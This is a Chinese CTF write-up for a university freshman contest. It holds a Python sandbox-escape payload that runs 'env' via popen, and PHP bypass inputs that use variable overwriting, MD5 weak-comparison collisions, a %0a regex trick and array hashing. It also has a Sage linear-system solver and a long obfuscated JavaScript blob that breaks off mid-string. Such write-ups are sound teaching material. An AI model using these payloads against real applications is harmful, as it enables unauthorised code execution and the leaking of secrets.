中国海洋大学新生赛

菜狗工具#1

print(dir(['__builtins__']).__dir__.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('env').read())

得到flag 在环境变量里面    

ezPHP

 <?phpinclude "flag.php";
highlight_file(__FILE__);
error_reporting(0);

$a = 'O.U.C';

$query = $_SERVER['QUERY_STRING'];
parse_str($query);
if (preg_match('/_|%5f|\.|%2E/i',$query)){
    die('听说你是黑客');
}

echo '你知道b等于什么能绕过这个弱类型吗（〃｀ 3′〃）'.'<br>';
if (md5($a)==md5($_GET['b'])&&$a!=$_GET['b']){
    echo "哎呦，不错喔".'<br data-tomark-pass>';
    $O_U_C=$_GET['O_U_C'];
    if (!is_array($O_U_C)&&$O_U_C!=='100'&&preg_match('/^100$/',$O_U_C)){
        echo 'but'.'如果我寄出===阁下又该如何应对๑乛◡乛๑'.'<br data-tomark-pass>';
        if (md5($_POST['md51'])===md5($_POST['md52'])&&$_POST['md51']!=$_POST['md52']){
            echo '好，那么好'.'<br data-tomark-pass>';
            if ($_COOKIE["md5"]===md5($secret.urldecode($_GET['md5']))){
                echo '还是被你解出来了'.' ྀི ྀིɞ ྀི ིྀ ིྀ'.$flag;
            }else{
                echo '告诉你secret的md5值也无妨，反正哈希是不可逆的๑乛◡乛๑，除非你能箨斩攻击我'.md5($secret.'ouc').'<br data-tomark-pass>';
            }
        }else{
            echo '不过如此';
        }
    }else{
        die("不行嘛(´ｪ｀)");
    }
}else{
    echo '嗨害嗨  (๑ᵒ̴̶̷͈᷄ᗨᵒ̴̶̷͈᷅)';
}
听说你是黑客

1、$query = $_SERVER['QUERY_STRING'];

获取 URL 查询字符串（即 URL 中 ? 后面的部分）并将其存储在 $query 变量中

2、parse_str() 函数

使用 parse_str 函数解析查询字符串，将其转换为 PHP 变量。这意味着如果查询字符串是 ?name=John&age=30，那么 parse_str 会创建两个变量 $name 和 $age，并分别赋值为 John 和 30

3、(md5($a)==md5($_GET['b'])&&$a!=$_GET['b']) ( $a='O.U.C' )

因为前面存在的parse_str() 函数，能够变量覆盖, 然后再进行MD5弱比较
a=QNKCDZO&b=240610708

4、(!is_array($O_U_C)&&$O_U_C!=='100'&&preg_match('/^100$/',$O_U_C))
在php中 . 和空格 在传参时会被转化成下划线，正好前面把 . 和 _ 给过滤了 ，用空格替代
还需要绕过preg_match()，而在非多行模式下，$似乎会忽略在句尾的%0a，从而绕过

O U C=100%0a

5、(md5($_POST['md51'])===md5($_POST['md52'])&&$_POST['md51']!=$_POST['md52'])

​ md51[]=1&md52[]=2

6、($_COOKIE["md5"]===md5($secret.urldecode($_GET['md5'])))

md5=%31%31%31&secret=aaa (变量覆盖 secret )
再cookie传参 md5=eabd8ce9404507aa8c22714d3f5eada9
（aaa111 的MD5值）

一眼盯帧

ffmpeg -i iGotSmokynomial.mp4 -f image2 -r 20 frames/frame-%03d.jpg
提取出几千张图片，找到30多张多元方程组的图片
写脚本解出来，得到flag

# sage
a = [
    [40, 42, 69, 91, 91, 74, 45, 49, 99, 41, 79, 26, 51, 74, 84, 31, 74, 11, 87, 76, 26, 40, 13, 31, 39, 7, 84, 65, 25,
     88, 13],
    [76, 23, 47, 95, 56, 94, 9, 89, 1, 27, 64, 54, 77, 57, 11, 80, 61, 98, 14, 72, 67, 98, 66, 26, 11, 36, 94, 66, 99,
     64, 40],
    [53, 39, 10, 36, 37, 42, 69, 66, 22, 33, 34, 4, 77, 94, 51, 87, 3, 34, 44, 17, 48, 31, 62, 15, 59, 39, 42, 48, 63,
     44, 84],
    [95, 37, 70, 10, 72, 37, 26, 11, 89, 36, 80, 81, 13, 84, 79, 69, 15, 53, 52, 92, 13, 44, 33, 48, 77, 40, 50, 20, 9,
     69, 44],
    [58, 53, 93, 4, 33, 76, 88, 7, 21, 24, 8, 35, 64, 54, 20, 1, 4, 42, 29, 96, 40, 22, 39, 47, 4, 42, 31, 69, 39, 6,
     50],
    [89, 73, 43, 41, 28, 19, 83, 32, 65, 37, 22, 22, 42, 74, 43, 72, 4, 94, 66, 60, 63, 91, 69, 7, 39, 96, 76, 5, 32,
     57, 22],
    [60, 19, 66, 62, 42, 86, 61, 63, 56, 2, 46, 7, 7, 2, 16, 97, 12, 28, 11, 92, 26, 64, 63, 62, 45, 56, 50, 97, 62, 71,
     65],
    [6, 78, 51, 74, 1, 25, 41, 99, 52, 74, 30, 97, 63, 2, 25, 76, 56, 35, 28, 34, 40, 18, 65, 67, 43, 78, 6, 54, 38, 45,
     81],
    [79, 18, 22, 73, 21, 76, 5, 27, 36, 22, 90, 23, 20, 88, 77, 18, 10, 14, 80, 1, 96, 97, 41, 90, 53, 20, 41, 2, 87, 8,
     40],
    [79, 10, 66, 31, 76, 58, 45, 64, 97, 9, 15, 6, 61, 65, 52, 1, 38, 11, 66, 21, 30, 76, 41, 75, 52, 45, 91, 96, 29,
     64, 59],
    [34, 95, 66, 79, 91, 35, 8, 16, 95, 95, 40, 68, 13, 54, 80, 98, 15, 39, 41, 79, 34, 54, 92, 17, 97, 76, 49, 95, 6,
     83, 79],
    [74, 42, 45, 72, 6, 3, 59, 47, 57, 62, 85, 6, 72, 25, 78, 27, 6, 27, 61, 88, 60, 89, 53, 76, 97, 56, 52, 26, 5, 7,
     35],
    [53, 30, 63, 88, 54, 99, 40, 85, 42, 35, 99, 88, 55, 8, 24, 91, 55, 23, 53, 68, 76, 49, 32, 80, 81, 95, 21, 73, 83,
     46, 44],
    [89, 93, 48, 5, 37, 76, 32, 66, 25, 39, 59, 14, 48, 62, 4, 76, 72, 78, 40, 96, 68, 35, 89, 3, 29, 17, 63, 43, 61,
     37, 12],
    [4, 25, 16, 45, 65, 17, 39, 59, 82, 54, 69, 59, 86, 37, 70, 21, 46, 89, 96, 32, 35, 69, 22, 13, 95, 58, 94, 29, 84,
     24, 3],
    [50, 48, 87, 37, 53, 19, 24, 30, 40, 31, 18, 89, 81, 70, 98, 87, 98, 82, 31, 71, 30, 28, 95, 22, 15, 73, 51, 92, 32,
     97, 65],
    [40, 20, 13, 25, 87, 95, 47, 80, 22, 43, 4, 83, 50, 85, 39, 22, 75, 3, 22, 6, 16, 29, 65, 19, 64, 48, 41, 8, 10, 66,
     12],
    [37, 49, 63, 49, 3, 54, 52, 61, 58, 36, 24, 6, 46, 47, 16, 29, 83, 2, 50, 94, 38, 56, 34, 13, 34, 12, 41, 47, 35,
     67, 74],
    [37, 2, 12, 84, 79, 36, 93, 64, 68, 7, 37, 58, 68, 49, 19, 95, 43, 22, 10, 21, 70, 72, 73, 19, 32, 8, 6, 89, 43, 32,
     95],
    [52, 69, 20, 29, 23, 30, 74, 21, 9, 5, 76, 5, 45, 49, 59, 25, 98, 54, 80, 19, 51, 37, 85, 84, 78, 54, 5, 21, 97, 92,
     78],
    [24, 70, 59, 66, 7, 59, 95, 46, 28, 21, 99, 95, 61, 43, 50, 3, 15, 79, 88, 51, 72, 67, 67, 47, 76, 45, 18, 32, 82,
     37, 20],
    [76, 10, 22, 48, 64, 22, 94, 25, 44, 83, 24, 64, 58, 41, 4, 29, 96, 78, 45, 30, 35, 62, 81, 54, 5, 82, 14, 46, 16,
     18, 69],
    [98, 61, 33, 62, 50, 7, 88, 75, 94, 21, 37, 55, 32, 39, 42, 11, 48, 87, 34, 14, 76, 13, 39, 27, 62, 38, 53, 27, 20,
     67, 94],
    [82, 42, 13, 65, 17, 31, 46, 25, 62, 65, 56, 56, 26, 62, 76, 69, 40, 31, 58, 54, 9, 23, 72, 95, 75, 74, 32, 8, 53,
     36, 71],
    [75, 5, 53, 71, 9, 14, 16, 80, 41, 70, 63, 81, 73, 24, 96, 61, 87, 28, 89, 43, 46, 4, 59, 91, 10, 1, 41, 87, 99, 9,
     74],
    [81, 69, 66, 57, 58, 72, 8, 61, 5, 73, 35, 57, 67, 77, 35, 7, 91, 83, 4, 92, 39, 84, 47, 60, 35, 59, 74, 42, 51, 93,
     20],
    [48, 35, 21, 87, 4, 65, 70, 69, 34, 63, 25, 23, 62, 72, 75, 98, 18, 86, 19, 54, 96, 74, 97, 27, 21, 74, 74, 90, 33,
     71, 46],
    [74, 49, 85, 69, 54, 86, 75, 34, 30, 42, 71, 52, 35, 22, 91, 34, 13, 1, 80, 48, 32, 71, 88, 68, 22, 64, 60, 85, 79,
     52, 22],
    [65, 99, 25, 72, 68, 66, 85, 8, 24, 59, 74, 99, 82, 88, 17, 21, 70, 68, 2, 22, 69, 32, 38, 27, 8, 7, 19, 36, 32, 85,
     40],
    [11, 37, 33, 25, 10, 12, 99, 58, 66, 94, 94, 78, 33, 15, 92, 64, 39, 23, 11, 41, 67, 8, 24, 4, 40, 92, 54, 37, 94,
     71, 25],
    [78, 57, 74, 90, 14, 52, 7, 12, 57, 14, 47, 20, 24, 32, 61, 85, 58, 99, 18, 52, 31, 77, 13, 69, 62, 85, 46, 40, 75,
     48, 69],
    [85, 75, 2, 54, 72, 14, 76, 49, 71, 21, 52, 12, 48, 67, 48, 50, 78, 85, 59, 86, 43, 9, 28, 60, 66, 35, 42, 51, 84,
     33, 38]
]
b = [159700,171444,131705,149011,114939,147181,146558,146290,127198,149303,180077,142239,179115,142706,146480,168401,117331,125357,138223,138560,148441,134112,145615,144052,154311,164152,164871,158482,140834,134191,153769,151583]
M = matrix(ZZ,a).T
bb = vector(ZZ,b)
m = M.solve_left(bb).list()
for i in m:
    print(chr(i),end = '')

爆率真的高

找到相应的js代码
eval(atob()) 混淆
可在eval（）中多重转码混淆，依旧可以执行js代码，有返回值

将其base64解码后

function _0x4d45(_0xd1b659,_0xad76b){var _0x22844d=_0x2a83();return _0x4d45=function(_0x442e70,_0x1c3598){_0x442e70=_0x442e70-(0x14f5+0x1cb7+-0x2fbd);var _0x1fc933=_0x22844d[_0x442e70];if(_0x4d45['RSnkVI']===undefined){var _0x3e5dd9=function(_0x1cd321){var _0x3de614='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x1c3472='',_0x1e03c2='',_0x45b8b1=_0x1c3472+_0x3e5dd9;for(var _0x57bead=-0x43e+-0x4d9*-0x5+-0x1*0x13ff,_0x2c4bf8,_0xc664a7,_0x588e56=0x3*-0x75f+0x1*0x201d+-0x80*0x14;_0xc664a7=_0x1cd321['charAt'](_0x588e56++);~_0xc664a7&&(_0x2c4bf8=_0x57bead%(-0x7a4*-0x4+0x21b7+0x1*-0x4043)?_0x2c4bf8*(0x21e7+-0x452+-0x3*0x9c7)+_0xc664a7:_0xc664a7,_0x57bead++%(-0xd77+0x1ba9+-0xe2e))?_0x1c3472+=_0x45b8b1['charCodeAt'](_0x588e56+(0xfd1+-0x318+0x11*-0xbf))-(0x98f+0x1*0x1c83+-0x1*0x2608)!==0x1c24+0x2100+-0x2*0x1e92?String['fromCharCode'](-0x162*-0x18+0xc2*-0x13+-0x11cb&_0x2c4bf8>>(-(-0x240c+-0x34*-0x12+0x2066)*_0x57bead&0x228c+0x3d4+-0x265a)):_0x57bead:0x7*0x4c3+-0x916*0x4+0x303){_0xc664a7=_0x3de614['indexOf'](_0xc664a7);}for(var _0x109fb3=-0x1554+-0x14b6+0x2a0a,_0x540544=_0x1c3472['length'];_0x109fb3<_0x540544;_0x109fb3++){_0x1e03c2+='%'+('00'+_0x1c3472['charCodeAt'](_0x109fb3)['toString'](0x1*0x2701+0x68*0x4+-0x2891))['slice'](-(-0x1*0x228b+-0x2*-0x11d4+0x11b*-0x1));}return decodeURIComponent(_0x1e03c2);};var _0x4029f8=function(_0xfb34ee,_0x53968b){var _0x588e35=[],_0x52377c=0x2d4*-0x7+0x7bb+0x1*0xc11,_0x5b2fcd,_0x5b55da='';_0xfb34ee=_0x3e5dd9(_0xfb34ee);var _0x1aca7f;for(_0x1aca7f=0x1da1+-0x326*-0x5+-0x2d5f;_0x1aca7f<-0x17a7*0x1+-0x1*-0x182f+-0x1*-0x78;_0x1aca7f++){_0x588e35[_0x1aca7f]=_0x1aca7f;}for(_0x1aca7f=0xd9f+0xeb4+0x3*-0x971;_0x1aca7f<0x134e*-0x1+-0x1*0x1413+0x2861;_0x1aca7f++){_0x52377c=(_0x52377c+_0x588e35[_0x1aca7f]+_0x53968b['charCodeAt'](_0x1aca7f%_0x53968b['length']))%(-0x138e*-0x1+-0x248b+-0x5ff*-0x3),_0x5b2fcd=_0x588e35[_0x1aca7f],_0x588e35[_0x1aca7f]=_0x588e35[_0x52377c],_0x588e35[_0x52377c]=_0x5b2fcd;}_0x1aca7f=-0xc6*-0x6+-0x1*0x9ad+-0x509*-0x1,_0x52377c=0x518+0x53*0x19+-0xd33;for(var _0x10df20=0xd66+0x1beb+0x5e7*-0x7;_0x10df20<_0xfb34ee['length'];_0x10df20++){_0x1aca7f=(_0x1aca7f+(0x848+-0x1*-0x559+-0xda0))%(-0x64c+-0x265*-0x9+-0x59*0x29),_0x52377c=(_0x52377c+_0x588e35[_0x1aca7f])%(0x1*0x1567+0xbd5+0x203c*-0x1),_0x5b2fcd=_0x588e35[_0x1aca7f],_0x588e35[_0x1aca7f]=_0x588e35[_0x52377c],_0x588e35[_0x52377c]=_0x5b2fcd,_0x5b55da+=String['fromCharCode'](_0xfb34ee['charCodeAt'](_0x10df20)^_0x588e35[(_0x588e35[_0x1aca7f]+_0x588e35[_0x52377c])%(-0x26e8+-0x2d9*-0x9+-0x2b*-0x55)]);}return _0x5b55da;};_0x4d45['ZRPnve']=_0x4029f8,_0xd1b659=arguments,_0x4d45['RSnkVI']=!![];}var _0x5d1e1e=_0x22844d[-0x701+0x22b1+-0x10*0x1bb],_0x5e9f1e=_0x442e70+_0x5d1e1e,_0x3c95b6=_0xd1b659[_0x5e9f1e];if(!_0x3c95b6){if(_0x4d45['ttUkzx']===undefined){var _0x5d1923=function(_0x40625e){this['VbNhJA']=_0x40625e,this['WjSFNU']=[0x1*-0x1b69+0x1d*-0xdf+0x383*0xf,0x2*-0xfe+0x15*0x1bd+-0x2285,-0x1*0x1564+0x231a+-0xdb6],this['EfsLmn']=function(){return'newState';},this['NBMjZn']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['qHFyzs']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x5d1923['prototype']['kTMwGR']=function(){var _0x2831ca=new RegExp(this['NBMjZn']+this['qHFyzs']),_0x8e9d26=_0x2831ca['test'](this['EfsLmn']['toString']())?--this['WjSFNU'][0x1d01+0x2*0x20+-0x90*0x34]:--this['WjSFNU'][0xc8*-0x2+-0x2157+0x22e7];return this['qpyuSU'](_0x8e9d26);},_0x5d1923['prototype']['qpyuSU']=function(_0x11b327){if(!Boolean(~_0x11b327))return _0x11b327;return this['MCTlib'](this['VbNhJA']);},_0x5d1923['prototype']['MCTlib']=function(_0x2d84cf){for(var _0xe539f=-0xf1e+0x1*0x1f9b+-0x107d,_0x32f0d5=this['WjSFNU']['length'];_0xe539f<_0x32f0d5;_0xe539f++){this['WjSFNU']['push'](Math['round'](Math['random']())),_0x32f0d5=this['WjSFNU']['length'];}return _0x2d84cf(this['WjSFNU'][0x1818+0xf*0x284+-0x149c*0x3]);},new _0x5d1923(_0x4d45)['kTMwGR'](),_0x4d45['ttUkzx']=!![];}_0x1fc933=_0x4d45['ZRPnve'](_0x1fc933,_0x1c3598),_0xd1b659[_0x5e9f1e]=_0x1fc933;}else _0x1fc933=_0x3c95b6;return _0x1fc933;},_0x4d45(_0xd1b659,_0xad76b);}var _0x42d653=_0x4d45;(function(_0x3de958,_0x2b9778){var _0x5a92ca=_0x4d45,_0x5384a6=_0x3de958();while(!![]){try{var _0x1b55d8=parseInt(_0x5a92ca(0x21d,'&he^'))/(-0xe58+0x2*-0x11ef+0x3237*0x1)+parseInt(_0x5a92ca(0x216,'03Aw'))/(-0x2b3*-0x1+0x14*0x22+-0x559)+parseInt(_0x5a92ca(0x20f,'@l*d'))/(0x2*-0xd22+0x1*-0xe03+0x284a)*(-parseInt(_0x5a92ca(0x1ff,'1Mc0'))/(-0x183f+-0x230+-0x25*-0xb7))+parseInt(_0x5a92ca(0x226,'6xb$'))/(0x1f*-0x1f+0x21be+-0x89*0x38)*(parseInt(_0x5a92ca(0x206,'&Ht['))/(-0x1*0x4b3+-0xd05+-0x8df*-0x2))+parseInt(_0x5a92ca(0x1f0,'i1no'))/(0x2034+-0xdf8+-0x1235)+-parseInt(_0x5a92ca(0x218,'wA8t'))/(-0x1f1f+-0x118c*-0x1+0xd9b)*(parseInt(_0x5a92ca(0x200,'AdAF'))/(0xa90+0xa61*-0x1+-0x26))+parseInt(_0x5a92ca(0x222,'eFU9'))/(0x1bc0+0x29*0x92+-0x221*0x18)*(parseInt(_0x5a92ca(0x1f7,'yszV'))/(-0x2383+-0x1efc+0x428a));if(_0x1b55d8===_0x2b9778)break;else _0x5384a6['push'](_0x5384a6['shift']());}catch(_0x24e2a3){_0x5384a6['push'](_0x5384a6['shift']());}}}(_0x2a83,-0xa6a35+0x1fd9*0x49+0x1*0x83471));function _0x2a83(){var _0xeb8947=['e8k0E3RcSW','W4e1','W5qB','W6/dSq','fXLOc8oWymkeBSkKeSkBAW','W6DvWR3dHablr8kvW4/dH8k+W7y','hmoEW5O7Ct4mD8k4mKi','E8k5va','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','kSkinWRdSHWCzSkkcuFdULW','WQKL','jSkqWPu3p8k6W6PdWPRcIxyMWOVcRW','lCkQgbVcPa','y27cSmoQzCoEWQvxjgKQuW','fW9Mq0BdRmkT','lYxcLKNdOSo8hCo2WPJcTXa','WOftiSkdWPxdGMmokG/dPKW','W5Cl','','vfHMswldUSkfW4i','AM3cSmoHbmklWQXqm1u','W5WiWQVdKmkhWRFdKwK','ff7cUshdMHfhbCk1EmoH','hgddOr8hqmoAW4i','g8owWRfWW54','W7GgyCozWO7cNgmveWS','W4/cJSobD09SFWNdPfbDkW','EaRcLa','kHRdRSkvoq','g1JcUtFcMbvhqSk+F8oYW7OUW7RcSf93WOjptCkErbpcNwJcIINcICkRDmkuWPpcOGTWk8o7W7PHW67cVSovm8ouWOe/c3BcQvZcRJKhW5XsC8kOx2NdV3LaW77cTHNdS0BdShFdKqJcMmoDWQfqWOy+jcmXW7f+zeddNSofmcuTCmoAW7ddIvyfW5/cJeWaWPz8a8kcWOpdLg4lFfdcUJxcJaVcPCoVnmk/W5OZrCkoWR7cKXhcN8kTyuldQ0hcJmoJaaFcTmkknWddM8oCWR1vW7NdHL9AWRldTgBdIMyZxta7W6hcSrnYW746W50sW5T3W6ZdPCoHWQ3cIHdcTwNcPthcTCkUWRTreConFudcVCoUWOzIsaFcTxeBW4xdVwvwW4n2WP8WmSkpWP4oxclcMfffW4bpiW3dUxtcVSo+W7JdVSoVWQ/dHSoztafqomkqWOPjtSo7WQe0x3RdNMBdVNldNmkXwLnuW6NcK3rIW7TEWRH2E8o0WPhdNCk+W6FdOSkIz8kNW6bhtSo4salcUg5wWOtdR8otW7mfoh3cRWnMWROIkSoquConif7dTSk7vCoDmdRcRmkPWPVcT8k6WPxcNaaUWP0PEbOmqCoTWPZcSmoWWQ5NW6uGpmkWwWinWORcKmkQWO4SWR/dQtW3W7b0W4JdTCkCWP0rtMhcVhVcOg0dWRNdPJ/dQCkqW6hdPCkECmoqW4/dS0JdOYNdVmofWOyPW4VcI8oAW6G+WO9RlSk7W5BcSSoWwCoIfSkGa8oZWO/dSSotWPCeW6nQWPa0p0xcPmkxW4WcWPTlmfRcPsSfWPZcJHXRfrC7W5RcQ8o/W5yBW59WvGOpkmoXWRnsWPf3W7ZcH8kGg8oijmocWPyTW6yiW6rAWOSCmaRcNmkwW60PW5zCW5xdUxpdQmkgs8kJvXbgW7zLBCk/BtzXW7pcICk7WRtcKCoSuttcRbpcQGRcN0NcIrWre8onymkaiwJdIW9trIFcTmk8DM8WqmkmDCkPW4NdI13cMtq2hSkQh2i0BsdcJIZcRSkFiJtcQSkHu8kFy8k6ys/dGf/dPSkqrd3cMuyBq8oummk9WPtcQSoxWQddVGaLFSkNW488BvxdO8o5setdNqZcHmoQmSkmdd1bW49vgWfqhXpcQ8kXW4xcScvXW5jrcttdLH3dKNX8dqlcVgtcVLJdPSkgDNPUDvusWRtcTh8jpqS3hmk+W73dQmkgy8kUWQxdKSkrWQxcUM/cU8o0tmkWiw45W63cQ2/dRSkIomogW4lcGCk8xCk6aCkuzSkNWRdcKfqniCo3WR4KWOpcRwj4WO3cPSoipCkgimoDhYzoWOawd8oeW4hcU8oyeJbxgYZcJ8oQCq4eWQlcLvq8WQpdTSoCW6xdHGrdxcZdVmkXzY3cUbKpWQVcHC